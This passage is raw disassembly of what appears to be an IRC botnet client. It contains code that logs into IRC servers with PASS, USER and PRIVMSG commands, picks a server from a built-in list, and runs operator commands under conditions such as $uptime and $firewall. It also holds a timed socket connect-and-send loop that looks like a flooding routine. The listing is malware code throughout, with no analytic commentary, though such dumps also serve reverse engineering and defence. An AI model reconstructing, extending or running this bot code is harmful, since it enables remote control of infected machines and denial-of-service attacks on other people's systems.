jnz short loc_4087F7 mov eax, offset dword_414988 loc_4087F7: ; CODE XREF: sub_407A76+D7Aj lea edx, [ebp+var_9E4] push edx push ecx push eax lea eax, [ebp+var_208] push offset dword_41490C push eax call sub_4096CB add esp, 14h loc_408814: ; CODE XREF: sub_407A76+D56j push edi call dword_4120A4 ; Sleep loc_40881B: ; CODE XREF: sub_407A76+D1Dj mov eax, [ebp+arg_18] mov eax, [eax+1Ch] cmp eax, ebx mov [ebp+arg_18], eax jnz loc_408772 loc_40882C: ; CODE XREF: sub_407A76+CF1j push [ebp+arg_14] call dword_41922C ; freeaddrinfo jmp loc_408D69 ; --------------------------------------------------------------------------- loc_40883A: ; CODE XREF: sub_407A76+CBEj cmp edi, dword_414900 jnz short loc_4088C0 xor ebx, ebx cmp [esi+4], ebx jnz short loc_408850 mov dword ptr [esi+4], offset byte_4191D0 loc_408850: ; CODE XREF: sub_407A76+DD1j lea eax, [ebp+arg_18] push eax push ebx push ebx push dword ptr [esi+4] call dword_419224 ; getaddrinfo test eax, eax jnz short loc_4088B3 push 4 push ebx push ebx lea eax, [ebp+var_9E4] push 401h push eax mov eax, [ebp+arg_18] push dword ptr [eax+10h] push dword ptr [eax+18h] call dword_419228 ; getnameinfo push [ebp+arg_18] test eax, eax jnz short loc_4088AD call dword_41922C ; freeaddrinfo mov esi, [esi+4] cmp [esi], bl jnz short loc_40889B mov esi, offset dword_414988 loc_40889B: ; CODE XREF: sub_407A76+E1Ej lea eax, [ebp+var_9E4] push eax push esi push offset dword_4148E4 jmp loc_4086BC ; --------------------------------------------------------------------------- loc_4088AD: ; CODE XREF: sub_407A76+E11j call dword_41922C ; freeaddrinfo loc_4088B3: ; CODE XREF: sub_407A76+CE3j ; sub_407A76+DEBj push dword ptr [esi+4] push offset dword_4148C8 jmp loc_40835E ; --------------------------------------------------------------------------- loc_4088C0: ; CODE XREF: sub_407A76+DCAj cmp edi, dword_4148B8 jnz loc_4089A3 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 push eax call sub_4114BE ; strlen cmp eax, 0Ah pop ecx jbe loc_408D69 push dword ptr [esi+4] call sub_4114BE ; strlen push 4 push offset a2002 ; "2002" push dword ptr [esi+4] mov edi, eax call sub_41178A ; memcmp add esp, 10h test eax, eax jnz loc_408996 mov eax, [esi+4] add eax, edi mov cl, [eax-9] mov byte ptr [ebp+var_10], cl mov cl, [eax-8] mov byte ptr [ebp+var_10+1], cl mov byte ptr [ebp+var_10+2], bl mov cl, [eax-7] mov byte ptr [ebp+var_10+3], cl mov cl, [eax-6] mov [ebp+var_C], cl mov [ebp+var_B], bl mov cl, [eax-4] mov [ebp+var_A], cl mov cl, [eax-3] mov [ebp+var_9], cl mov byte ptr [ebp+var_8], bl mov cl, [eax-2] mov byte ptr [ebp+var_8+1], cl mov al, [eax-1] mov byte ptr [ebp+var_8+2], al lea eax, [ebp+var_8+1] push eax mov byte ptr [ebp+var_8+3], bl call sub_4079AC pop ecx push eax lea eax, [ebp+var_A] push eax call sub_4079AC pop ecx push eax lea eax, [ebp+var_10+3] push eax call sub_4079AC pop ecx push eax lea eax, [ebp+var_10] push eax call sub_4079AC pop ecx push eax lea eax, [ebp+var_208] push dword ptr [esi+4] push offset dword_414880 push eax call sub_4096CB loc_40898E: ; CODE XREF: sub_407A76+55Fj add esp, 1Ch jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408996: ; CODE XREF: sub_407A76+E91j push dword ptr [esi+4] push offset dword_414864 jmp loc_40835E ; --------------------------------------------------------------------------- loc_4089A3: ; CODE XREF: sub_407A76+E50j cmp edi, dword_414858 jnz loc_408A67 call sub_4114E2 ; clock mov [ebp+arg_0], eax xor ebx, ebx push 10h lea eax, [ebp+var_14] push ebx push eax mov [ebp+arg_14], ebx mov byte ptr [ebp+arg_18+3], bl call sub_4114E8 ; memset add esp, 0Ch mov [ebp+var_14], 2 call sub_4114E2 ; clock sub eax, [ebp+arg_0] mov edi, 3E8h cmp eax, edi jnb short loc_408A54 loc_4089E5: ; CODE XREF: sub_407A76+FD2j push 0FFFFh push 1 call sub_40B459 pop ecx pop ecx push eax call dword_412248 ; htons push 4 push ebx mov [ebp+var_12], ax call sub_4031A7 pop ecx mov [ebp+var_10], eax pop ecx push ebx push 2 push 2 call dword_41222C ; socket mov esi, eax lea eax, [ebp+var_14] push 10h push eax push esi call dword_412208 ; connect push ebx lea eax, [ebp+arg_18+3] push 1 push eax push esi call dword_412220 ; send push esi call dword_412240 ; closesocket add [ebp+arg_14], 2Bh call sub_4114E2 ; clock sub eax, [ebp+arg_0] cmp eax, edi jb short loc_4089E5 mov eax, [ebp+arg_14] cmp eax, 400h ja short loc_408A59 loc_408A54: ; CODE XREF: sub_407A76+F6Dj mov eax, 400h loc_408A59: ; CODE XREF: sub_407A76+FDCj shr eax, 0Ah push eax push offset dword_414840 jmp loc_40835E ; --------------------------------------------------------------------------- loc_408A67: ; CODE XREF: sub_407A76+F33j cmp edi, dword_414838 jz loc_408CDD cmp edi, dword_41482C jz loc_408CDD cmp edi, dword_414820 jnz short loc_408AA4 push dword ptr [esi+0Ch] lea eax, [ebp+var_208] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40F908 loc_408A9C: ; CODE XREF: sub_407A76+626j ; sub_407A76+67Bj ... add esp, 10h jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408AA4: ; CODE XREF: sub_407A76+100Fj cmp edi, dword_414818 jz loc_408CCC cmp edi, dword_41480C jz loc_408CCC cmp edi, dword_414804 jz loc_408CBB cmp edi, dword_4147F8 jz loc_408CBB cmp edi, dword_4147E8 jnz short loc_408B13 push eax push offset a9252 ; "9252" call sub_403644 pop ecx mov esi, eax pop ecx lea eax, [ebp+var_208] push esi push offset dword_413B64 push eax call sub_4096CB add esp, 0Ch test esi, esi jz loc_408D69 push esi call sub_40392A jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408B13: ; CODE XREF: sub_407A76+1064j cmp edi, dword_4147D4 jnz short loc_408B2C lea eax, [ebp+var_208] push eax call sub_406A08 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_407A76+10A3j cmp edi, dword_4147CC jz short loc_408BA5 cmp edi, dword_4147C0 jz short loc_408BA5 cmp edi, dword_4147B8 jnz loc_408D69 mov eax, [esi+4] xor ebx, ebx cmp eax, ebx jz loc_408D69 cmp [esi+8], ebx jz loc_408D69 push 2 push offset aId ; "id" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_408B81 push dword ptr [esi+8] push offset byte_41A268 call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_408B81: ; CODE XREF: sub_407A76+10FAj push offset aUsername ; "username" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_408D69 push dword ptr [esi+8] push offset byte_41A3E8 jmp loc_408208 ; --------------------------------------------------------------------------- loc_408BA5: ; CODE XREF: sub_407A76+10BCj ; sub_407A76+10C4j mov esi, [esi+4] xor ebx, ebx cmp esi, ebx jz short loc_408BBA push esi call sub_41151C ; atoi pop ecx mov [ebp+arg_14], eax jmp short loc_408BBD ; --------------------------------------------------------------------------- loc_408BBA: ; CODE XREF: sub_407A76+1136j mov [ebp+arg_14], ebx loc_408BBD: ; CODE XREF: sub_407A76+1142j call sub_406AB7 mov edi, 15180h xor edx, edx mov esi, edi mov ecx, eax div esi xor edx, edx mov esi, 0E10h mov ebx, esi push 3Ch mov [ebp+arg_18], eax mov eax, ecx mov ecx, edi div ecx mov ecx, edx xor edx, edx mov eax, ecx div ebx xor edx, edx mov [ebp+var_8], eax mov eax, ecx mov ecx, esi div ecx pop ecx mov eax, edx xor edx, edx div ecx mov [ebp+var_1C], eax mov eax, [ebp+arg_14] cmp [ebp+arg_18], eax jb loc_408D69 call sub_406B29 xor edx, edx mov ebx, edi mov ecx, eax push 3Ch div ebx xor edx, edx mov [ebp+arg_10], eax mov eax, ecx div edi mov edi, esi mov ecx, edx xor edx, edx mov eax, ecx div edi xor edx, edx mov [ebp+arg_8], eax mov eax, ecx div esi pop ecx push 1 mov eax, edx xor edx, edx div ecx mov edx, offset byte_4191D0 mov ecx, offset dword_4141FC mov [ebp+arg_14], edx mov ebx, eax pop eax cmp ebx, eax jz short loc_408C57 mov [ebp+arg_14], ecx loc_408C57: ; CODE XREF: sub_407A76+11DCj cmp [ebp+arg_8], eax mov [ebp+arg_0], edx jz short loc_408C62 mov [ebp+arg_0], ecx loc_408C62: ; CODE XREF: sub_407A76+11E7j cmp [ebp+arg_10], eax mov [ebp+arg_C], edx jz short loc_408C6D mov [ebp+arg_C], ecx loc_408C6D: ; CODE XREF: sub_407A76+11F2j cmp [ebp+var_1C], eax mov edi, edx jz short loc_408C76 mov edi, ecx loc_408C76: ; CODE XREF: sub_407A76+11FCj cmp [ebp+var_8], eax mov esi, edx jz short loc_408C7F mov esi, ecx loc_408C7F: ; CODE XREF: sub_407A76+1205j cmp [ebp+arg_18], eax jnz short loc_408C86 mov ecx, edx loc_408C86: ; CODE XREF: sub_407A76+120Cj push [ebp+arg_14] lea eax, [ebp+var_208] push ebx push [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_10] push edi push [ebp+var_1C] push esi push [ebp+var_8] push ecx push [ebp+arg_18] push offset dword_414734 push eax call sub_4096CB add esp, 38h jmp loc_408D69 ; --------------------------------------------------------------------------- loc_408CBB: ; CODE XREF: sub_407A76+104Cj ; sub_407A76+1058j lea eax, [ebp+var_208] push eax call sub_40677A jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408CCC: ; CODE XREF: sub_407A76+1034j ; sub_407A76+1040j lea eax, [ebp+var_208] push eax call sub_4062CF jmp loc_408D68 ; --------------------------------------------------------------------------- loc_408CDD: ; CODE XREF: sub_407A76+FF7j ; sub_407A76+1003j push offset dword_418FD0 push 3AEh push 0 lea eax, [ebp+var_208] push offset dword_414710 push eax call sub_4096CB loc_408CFA: ; CODE XREF: sub_407A76+9A8j add esp, 14h jmp short loc_408D69 ; --------------------------------------------------------------------------- loc_408CFF: ; CODE XREF: sub_407A76+CA6j ; sub_407A76+CB2j push offset aQuitChangingSe ; "QUIT :changing server" call sub_4097DB push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call sub_409522 jmp loc_408A9C ; --------------------------------------------------------------------------- loc_408D1C: ; CODE XREF: sub_407A76+C6Fj ; sub_407A76+C7Bj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_208] push eax call sub_4018D5 loc_408D2E: ; CODE XREF: sub_407A76+AAj ; sub_407A76+29Dj ... pop ecx jmp short loc_408D68 ; --------------------------------------------------------------------------- loc_408D31: ; CODE XREF: sub_407A76+BB6j ; sub_407A76+BC2j ... push offset aQuitExitting ; "QUIT :exitting" loc_408D36: ; CODE XREF: sub_407A76+B26j call sub_4097DB jmp short loc_408D68 ; --------------------------------------------------------------------------- loc_408D3D: ; CODE XREF: sub_407A76+719j ; sub_407A76+725j ... push dword ptr [esi+14h] lea eax, [ebp+var_208] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_40F2C2 jmp loc_408235 ; --------------------------------------------------------------------------- loc_408D5D: ; CODE XREF: sub_407A76+5B6j ; sub_407A76+5C2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_409843 loc_408D68: ; CODE XREF: sub_407A76+71j ; sub_407A76+2B6j ... pop ecx loc_408D69: ; CODE XREF: sub_407A76+DEj ; sub_407A76+12Aj ... pop edi pop esi pop ebx leave retn sub_407A76 endp ; =============== S U B R O U T I N E ======================================= sub_408D6E proc near ; CODE XREF: sub_408E1A+320p arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_408D72: ; CODE XREF: sub_408D6E+10j mov cl, [eax] cmp cl, 20h jnz short locret_408D80 test cl, cl jz short locret_408D80 inc eax jmp short loc_408D72 ; --------------------------------------------------------------------------- locret_408D80: ; CODE XREF: sub_408D6E+9j ; sub_408D6E+Dj retn sub_408D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408D81 proc near ; DATA XREF: sub_409149+4Eo var_52C = byte ptr -52Ch var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_187 = byte ptr -187h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 52Ch push esi push 327h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_4] mov esi, offset asc_414F50 ; ";" push eax lea eax, [ebp+var_328] push esi push eax call sub_405E4F add esp, 1Ch loc_408DC0: ; CODE XREF: sub_408D81+84j test eax, eax jz short loc_408E07 loc_408DC4: ; CODE XREF: sub_408D81+49j cmp byte ptr [eax], 20h jnz short loc_408DCC inc eax jmp short loc_408DC4 ; --------------------------------------------------------------------------- loc_408DCC: ; CODE XREF: sub_408D81+46j push eax lea eax, [ebp+var_187] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" lea eax, [ebp+var_52C] push 200h push eax call sub_41152E ; _snprintf lea eax, [ebp+var_52C] push eax call sub_40A236 lea eax, [ebp+var_4] push eax push esi push 0 call sub_405E4F add esp, 24h jmp short loc_408DC0 ; --------------------------------------------------------------------------- loc_408E07: ; CODE XREF: sub_408D81+41j push [ebp+var_32C] call sub_406E6F pop ecx xor eax, eax pop esi leave retn 4 sub_408D81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E1A proc near ; CODE XREF: sub_409149+6p var_1D4 = byte ptr -1D4h var_54 = byte ptr -54h var_34 = byte ptr -34h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1D4h push ebx push esi mov esi, [ebp+arg_0] push edi test esi, esi jz loc_409142 cmp byte ptr [esi], 28h jnz loc_409142 inc esi push offset asc_414FB8 ; ")" push esi call sub_411528 ; strstr pop ecx mov [ebp+var_4], eax test eax, eax pop ecx jz loc_409142 sub eax, esi lea ecx, [eax+1] mov eax, 180h cmp ecx, eax ja short loc_408E63 mov eax, ecx loc_408E63: ; CODE XREF: sub_408E1A+45j push eax lea eax, [ebp+var_1D4] push esi push eax call sub_4059C2 push 1 lea eax, [ebp+var_1D4] push 1 push eax call sub_405AD6 lea eax, [ebp+arg_0] mov ebx, offset asc_414FB4 ; "&&" push eax lea eax, [ebp+var_1D4] push ebx push eax call sub_405E4F add esp, 24h loc_408E9A: ; CODE XREF: sub_408E1A+316j test eax, eax jz loc_409135 loc_408EA2: ; CODE XREF: sub_408E1A+8Ej cmp byte ptr [eax], 20h jnz short loc_408EAA inc eax jmp short loc_408EA2 ; --------------------------------------------------------------------------- loc_408EAA: ; CODE XREF: sub_408E1A+8Bj lea ecx, [ebp+var_54] push ecx lea ecx, [ebp+var_14] push ecx lea ecx, [ebp+var_34] push ecx push offset a32s16s32s ; "%32s %16s %32s" push eax call sub_411522 ; sscanf add esp, 14h cmp eax, 3 jnz loc_409142 lea eax, [ebp+var_34] push eax call sub_41151C ; atoi mov edi, eax lea eax, [ebp+var_54] push eax call sub_41151C ; atoi pop ecx mov esi, eax test edi, edi pop ecx jnz loc_408FB7 lea eax, [ebp+var_34] push offset dword_413F58 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_408FB7 lea eax, [ebp+var_34] push offset aUptime ; "$uptime" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F2C call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx jmp loc_408FB5 ; --------------------------------------------------------------------------- loc_408F2C: ; CODE XREF: sub_408E1A+FDj lea eax, [ebp+var_34] push offset aVersion ; "$version" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F47 mov edi, 3AEh jmp short loc_408FB7 ; --------------------------------------------------------------------------- loc_408F47: ; CODE XREF: sub_408E1A+124j lea eax, [ebp+var_34] push offset aFree ; "$free" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F62 call sub_4067B2 jmp short loc_408FB5 ; --------------------------------------------------------------------------- loc_408F62: ; CODE XREF: sub_408E1A+13Fj lea eax, [ebp+var_34] push offset aLatency ; "$latency" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F7D call sub_406373 jmp short loc_408FB5 ; --------------------------------------------------------------------------- loc_408F7D: ; CODE XREF: sub_408E1A+15Aj lea eax, [ebp+var_34] push offset aFirewall ; "$firewall" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408F98 call sub_4032D2 jmp short loc_408FB5 ; --------------------------------------------------------------------------- loc_408F98: ; CODE XREF: sub_408E1A+175j lea eax, [ebp+var_34] push offset aIpv6 ; "$ipv6" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409142 call sub_4033F9 loc_408FB5: ; CODE XREF: sub_408E1A+10Dj ; sub_408E1A+146j ... mov edi, eax loc_408FB7: ; CODE XREF: sub_408E1A+CDj ; sub_408E1A+E5j ... test esi, esi jnz loc_409089 lea eax, [ebp+var_54] push offset dword_413F58 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_409089 lea eax, [ebp+var_54] push offset aUptime ; "$uptime" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_408FFE call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx jmp loc_409087 ; --------------------------------------------------------------------------- loc_408FFE: ; CODE XREF: sub_408E1A+1CFj lea eax, [ebp+var_54] push offset aVersion ; "$version" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409019 mov esi, 3AEh jmp short loc_409089 ; --------------------------------------------------------------------------- loc_409019: ; CODE XREF: sub_408E1A+1F6j lea eax, [ebp+var_54] push offset aFree ; "$free" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409034 call sub_4067B2 jmp short loc_409087 ; --------------------------------------------------------------------------- loc_409034: ; CODE XREF: sub_408E1A+211j lea eax, [ebp+var_54] push offset aLatency ; "$latency" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40904F call sub_406373 jmp short loc_409087 ; --------------------------------------------------------------------------- loc_40904F: ; CODE XREF: sub_408E1A+22Cj lea eax, [ebp+var_54] push offset aFirewall ; "$firewall" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40906A call sub_4032D2 jmp short loc_409087 ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408E1A+247j lea eax, [ebp+var_54] push offset aIpv6 ; "$ipv6" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409142 call sub_4033F9 loc_409087: ; CODE XREF: sub_408E1A+1DFj ; sub_408E1A+218j ... mov esi, eax loc_409089: ; CODE XREF: sub_408E1A+19Fj ; sub_408E1A+1B7j ... lea eax, [ebp+var_14] push offset asc_414F64 ; "==" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090A5 cmp edi, esi jnz loc_409142 loc_4090A5: ; CODE XREF: sub_408E1A+281j lea eax, [ebp+var_14] push offset asc_414F60 ; "!=" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090C1 cmp edi, esi jz loc_409142 loc_4090C1: ; CODE XREF: sub_408E1A+29Dj lea eax, [ebp+var_14] push offset asc_414F5C ; ">" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090D9 cmp edi, esi jbe short loc_409142 loc_4090D9: ; CODE XREF: sub_408E1A+2B9j lea eax, [ebp+var_14] push offset asc_414F58 ; ">=" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_4090F1 cmp edi, esi jb short loc_409142 loc_4090F1: ; CODE XREF: sub_408E1A+2D1j lea eax, [ebp+var_14] push offset dword_414988 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409109 cmp edi, esi jnb short loc_409142 loc_409109: ; CODE XREF: sub_408E1A+2E9j lea eax, [ebp+var_14] push offset asc_414F54 ; "<=" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409121 cmp edi, esi ja short loc_409142 loc_409121: ; CODE XREF: sub_408E1A+301j lea eax, [ebp+arg_0] push eax push ebx push 0 call sub_405E4F add esp, 0Ch jmp loc_408E9A ; --------------------------------------------------------------------------- loc_409135: ; CODE XREF: sub_408E1A+82j mov eax, [ebp+var_4] inc eax push eax call sub_408D6E pop ecx jmp short loc_409144 ; --------------------------------------------------------------------------- loc_409142: ; CODE XREF: sub_408E1A+11j ; sub_408E1A+1Aj ... xor eax, eax loc_409144: ; CODE XREF: sub_408E1A+326j pop edi pop esi pop ebx leave retn sub_408E1A endp ; =============== S U B R O U T I N E ======================================= sub_409149 proc near ; CODE XREF: sub_407A76+C96p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push [esp+8+arg_4] call sub_408E1A mov edi, eax pop ecx test edi, edi jz short loc_4091A4 push 327h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4091A4 push 180h lea eax, [esi+4] push edi push eax call sub_4059C2 push [esp+14h+arg_0] lea eax, [esi+184h] push eax call sub_40457C add esp, 14h push edi push offset aExecutingComma ; "Executing command(s): %s" push 0 push esi push offset sub_408D81 call sub_406D58 add esp, 14h loc_4091A4: ; CODE XREF: sub_409149+10j ; sub_409149+21j pop edi pop esi retn sub_409149 endp ; =============== S U B R O U T I N E ======================================= sub_4091A7 proc near ; CODE XREF: sub_401B81+77p ; sub_409918+461p ... mov eax, dword_419D44 retn sub_4091A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4091AD proc near ; CODE XREF: sub_409522+10p ; sub_409522+6Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_0], ebx push esi push edi mov edi, offset byte_419AB8 jz short loc_4091FC push [ebp+arg_0] push offset dword_419C38 call sub_4114B8 ; _mbscpy cmp [ebp+arg_4], ebx pop ecx pop ecx jz short loc_4091D8 push [ebp+arg_4] jmp short loc_4091DD ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_4091AD+24j push offset a6667 ; "6667" loc_4091DD: ; CODE XREF: sub_4091AD+29j mov ebx, offset dword_419D38 push ebx call sub_4114B8 ; _mbscpy cmp [ebp+arg_8], 0 pop ecx pop ecx jz short loc_4091F5 push [ebp+arg_8] jmp short loc_409251 ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_4091AD+41j push offset byte_4191D0 jmp short loc_409251 ; --------------------------------------------------------------------------- loc_4091FC: ; CODE XREF: sub_4091AD+10j xor esi, esi cmp off_418E20, ebx jz short loc_409213 mov eax, offset off_418E20 loc_40920B: ; CODE XREF: sub_4091AD+64j add eax, 0Ch inc esi cmp [eax], ebx jnz short loc_40920B loc_409213: ; CODE XREF: sub_4091AD+57j call sub_40B480 xor edx, edx div esi lea esi, [edx+edx*2] shl esi, 2 push off_418E20[esi] push offset dword_419C38 call sub_4114B8 ; _mbscpy push off_418E24[esi] mov ebx, offset dword_419D38 push ebx call sub_4114B8 ; _mbscpy mov esi, off_418E28[esi] add esp, 10h test esi, esi jz short loc_409259 push esi loc_409251: ; CODE XREF: sub_4091AD+46j ; sub_4091AD+4Dj push edi call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_409259: ; CODE XREF: sub_4091AD+A1j push offset dword_419C38 call sub_40B5A8 push ebx call sub_40B5A8 push edi call sub_40B5A8 add esp, 0Ch pop edi pop esi pop ebx pop ebp retn sub_4091AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409277 proc near ; CODE XREF: sub_409522+B9p ; sub_409918+4BFp var_238 = byte ptr -238h var_1B4 = dword ptr -1B4h var_1B0 = dword ptr -1B0h var_1AC = dword ptr -1ACh var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 238h lea eax, [ebp+var_238] push esi push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_A0] push eax call sub_404A70 add esp, 0Ch cmp byte_419AB8, 0 jz short loc_4092C7 mov esi, offset byte_419AB8 push esi call sub_40B5E1 pop ecx push esi push offset aPassS ; "PASS %s" call sub_4097DB push esi call sub_40B5A8 add esp, 0Ch loc_4092C7: ; CODE XREF: sub_409277+2Ej xor esi, esi cmp [ebp+arg_0], esi jz short loc_40934B cmp byte_41A268, 0 jz short loc_4092E5 lea eax, [ebp+var_120] push offset byte_41A268 push eax jmp short loc_4092F1 ; --------------------------------------------------------------------------- loc_4092E5: ; CODE XREF: sub_409277+5Ej lea eax, [ebp+var_120] push eax push offset byte_41A268 loc_4092F1: ; CODE XREF: sub_409277+6Cj call sub_4114B8 ; _mbscpy cmp byte_41A3E8, 0 pop ecx pop ecx jz short loc_40930F lea eax, [ebp+var_238] push offset byte_41A3E8 push eax jmp short loc_40931B ; --------------------------------------------------------------------------- loc_40930F: ; CODE XREF: sub_409277+88j lea eax, [ebp+var_238] push eax push offset byte_41A3E8 loc_40931B: ; CODE XREF: sub_409277+96j call sub_4114B8 ; _mbscpy pop ecx lea eax, [ebp+var_238] pop ecx push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_120] push eax lea eax, [ebp+var_120] push eax push offset aUserSSSS ; "USER %s %s %s :%s" call sub_4097DB add esp, 14h loc_40934B: ; CODE XREF: sub_409277+55j cmp [ebp+arg_4], esi jz loc_40951F cmp [ebp+arg_0], esi jz short loc_409378 cmp byte_41A1E8, 0 jz short loc_409378 push offset byte_41A1E8 push offset dword_414F0C call sub_4097DB pop ecx pop ecx jmp loc_40951F ; --------------------------------------------------------------------------- loc_409378: ; CODE XREF: sub_409277+E0j ; sub_409277+E9j call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx cmp eax, 4 mov [ebp+arg_4], eax jnb short loc_4093C8 call sub_404DAD test eax, eax jnz short loc_4093C8 lea eax, [ebp+var_A0] push offset dword_418E44 push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_A0] push eax call sub_40B5E1 lea eax, [ebp+var_A0] push eax call sub_4098C7 add esp, 10h jmp loc_4094FA ; --------------------------------------------------------------------------- loc_4093C8: ; CODE XREF: sub_409277+115j ; sub_409277+11Ej call sub_404D00 lea eax, [ebp+var_20] push eax call sub_405F9A test eax, eax pop ecx jnz short loc_4093EB lea eax, [ebp+var_20] push offset aUnk ; "UNK" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_4093EB: ; CODE XREF: sub_409277+162j call sub_4067B2 mov ecx, 400h cmp eax, ecx jbe short loc_409400 call sub_4067B2 jmp short loc_409402 ; --------------------------------------------------------------------------- loc_409400: ; CODE XREF: sub_409277+180j mov eax, ecx loc_409402: ; CODE XREF: sub_409277+187j shr eax, 0Ah push ebx mov [ebp+arg_0], eax call sub_406373 cmp eax, 2EEh mov ebx, offset aB ; "B" jnb short loc_40941F mov ebx, offset aA ; "A" loc_40941F: ; CODE XREF: sub_409277+1A1j cmp eax, 1F4h jnb short loc_40942B mov ebx, offset aG ; "G" loc_40942B: ; CODE XREF: sub_409277+1ADj push edi push 24h pop ecx xor eax, eax lea edi, [ebp+var_1B0] mov [ebp+var_1B4], 94h rep stosd lea eax, [ebp+var_1B4] push eax call dword_412034 ; GetVersionExA cmp [ebp+var_1B0], 5 pop edi jnz short loc_409466 cmp [ebp+var_1AC], 1 jnz short loc_409466 push 1 pop esi loc_409466: ; CODE XREF: sub_409277+1E1j ; sub_409277+1EAj push 5Ah push 41h call sub_40B459 pop ecx pop ecx push eax push 5Ah push 41h call sub_40B459 pop ecx pop ecx test esi, esi push eax setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push ebx push [ebp+arg_0] lea eax, [ebp+var_20] push 5Dh push [ebp+arg_4] push 5Bh push 5Dh push eax push 5Bh lea eax, [ebp+var_A0] push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" push eax call sub_4114DC ; sprintf add esp, 34h cmp byte_418ED0, 0 pop ebx jz short loc_4094FA mov esi, offset dword_418E50 push offset byte_418ED0 push esi call sub_4114B8 ; _mbscpy push esi call sub_40B5E1 add esp, 0Ch cmp byte_418F50, 0 jz short loc_4094FA mov esi, offset dword_41A0E8 push offset byte_418F50 push esi call sub_4114B8 ; _mbscpy push esi call sub_40B5E1 add esp, 0Ch loc_4094FA: ; CODE XREF: sub_409277+14Cj ; sub_409277+246j ... lea eax, [ebp+var_A0] push eax push offset dword_414F0C call sub_4097DB lea eax, [ebp+var_A0] push eax push offset byte_41A1E8 call sub_4114B8 ; _mbscpy add esp, 10h loc_40951F: ; CODE XREF: sub_409277+D7j ; sub_409277+FCj pop esi leave retn sub_409277 endp ; =============== S U B R O U T I N E ======================================= sub_409522 proc near ; CODE XREF: sub_407A76+129Cp ; sub_409918+3B8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push [esp+10h+arg_8] push [esp+14h+arg_4] push [esp+18h+arg_0] call sub_4091AD push dword_419D44 call sub_403D70 mov edi, offset dword_419C38 mov ebp, 0EA60h push edi call sub_40B5E1 mov esi, offset dword_419D38 push esi call sub_40B5E1 mov ebx, 2710h 